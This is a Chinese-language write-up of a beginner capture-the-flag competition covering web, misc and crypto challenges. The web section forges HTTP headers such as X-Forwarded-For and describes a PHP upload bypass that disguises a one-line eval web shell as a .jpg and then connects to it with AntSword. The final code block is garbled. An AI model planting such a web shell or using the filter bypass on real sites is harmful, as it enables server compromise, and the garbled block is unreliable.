一、Web

1. Classic Childhood Game

直接 f12,发现 Events. js 里的 function mota()疑似输出 flag 的函数。

但是代码加了混淆看不懂。

当时不太懂,将代码复制粘贴到在线编辑器来执行后来才知道可以控制台直接输入 mota()来执行这个函数执行后 flag 弹出。

2. Become A Member

考察 surpsuite 的使用和 http 的请求头

先抓包, send to repeater, 直接在重发器里面改, 就不用每次重新抓包重新修改了。

关于 http 请求头

- (1) user-agent:即用户代理,简称"UA",它是一个特殊字符串头。网站服务器通过识别"UA"来确定用户所使用的操作系统版本、CPU类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。需改成 user-agent:Cute-Bunny
- (2) cookie: 服务器发送到用户浏览器并保存在本地的一小块数据。根据 cookie 格式容易联想到将 cookie 改为 code=vidar。
- (3) referer: 字段实际上告诉了服务器,用户在访问当前资源之前的位置。 Referer:bunnybunnybunny.com
- (4) X-Forwarded-For: 简称 XFF 头, 它代表客户端, 也就是 HTTP 的请求端真实 的 IP。X-Forwarded-For:127.0.0.1

最后空一行 ison 格式发送请求



3. Guess Who I Am

由于对于 python 的数据结构太不熟悉了于是 ctrl F+cv 大法

4. Show Me Your Beauty

php 文件上传漏洞

F12 发现只能上传 jpg, png, gif 文件

写好 php 木马 <?php @eval(\$ POST[123]);?> 改为 jpg 格式

上传. jpg 通过 surpsuite 抓包修改后缀绕过前端过滤

将后缀改为. Php 绕过后端 php 字符串匹配过滤



找到上传地址 最后通过蚁剑连接即可

在主目录下找到 flag (找了十几分钟...)



二、Misc

1. Sign in

Base64 解码即可

2. 神秘的海报

使用 stegsolve, 发现图片隐藏字符串得到一半 flag

<u></u>	- D X
Extract Preview	
26f757420617420 746861742074696d bout at that ti 521205468697320 6973207061727420 e! This is part	
f66207468652073 65637265743a2060 of the s ecret: 867616d657b555f 4b6e30775f4c5342 hgame{U_ Kn0w_L8 657600a49207075 7420746865207265 &W`.I pu t the r	5B re
374206f66207468 6520636f6e74656e st of th e conte 420686572652c20 68747470733a2f2f there, https:/ 4726976652e676f 6f676c652e636f6d drive.go ogle.co /file/d/ 13kBos3 86c66776b663365 307a306b4a544571 xlfwkf3e 0z0kJTE	om BI
Bit Planes	Order settings
Alpha	Extract By Row Column
Red 7 6 5 4 3 2 1 2 0	Bit Order O MSB First LSB First
Green □ 7 □ 6 □ 5 □ 4 □ 3 □ 2 □ 1 № 0	Bit Plane Order
Blue 7 6 5 4 3 2 1 20	RGB GRB RBG BRG
Preview Settings Include Hex Dump In Preview	○ GBR ○ BGR

下载音乐和 steghide, 发现音乐中藏有 txt 文件, 有另一半 flag



3. e99p1ant_want_girlfriend

crc 效验错误, png 图片的实际宽高和真实宽高不匹配

找了个脚本,得出高为 0x2c2 通过 010 Editor 修改高 发现图片下方出现 flag

三、Crypto

1. RSA

通过 factordb. com 分解大素数 使用 python 解出 flag 即可

```
C of the live larger one defends and the larger of the la
```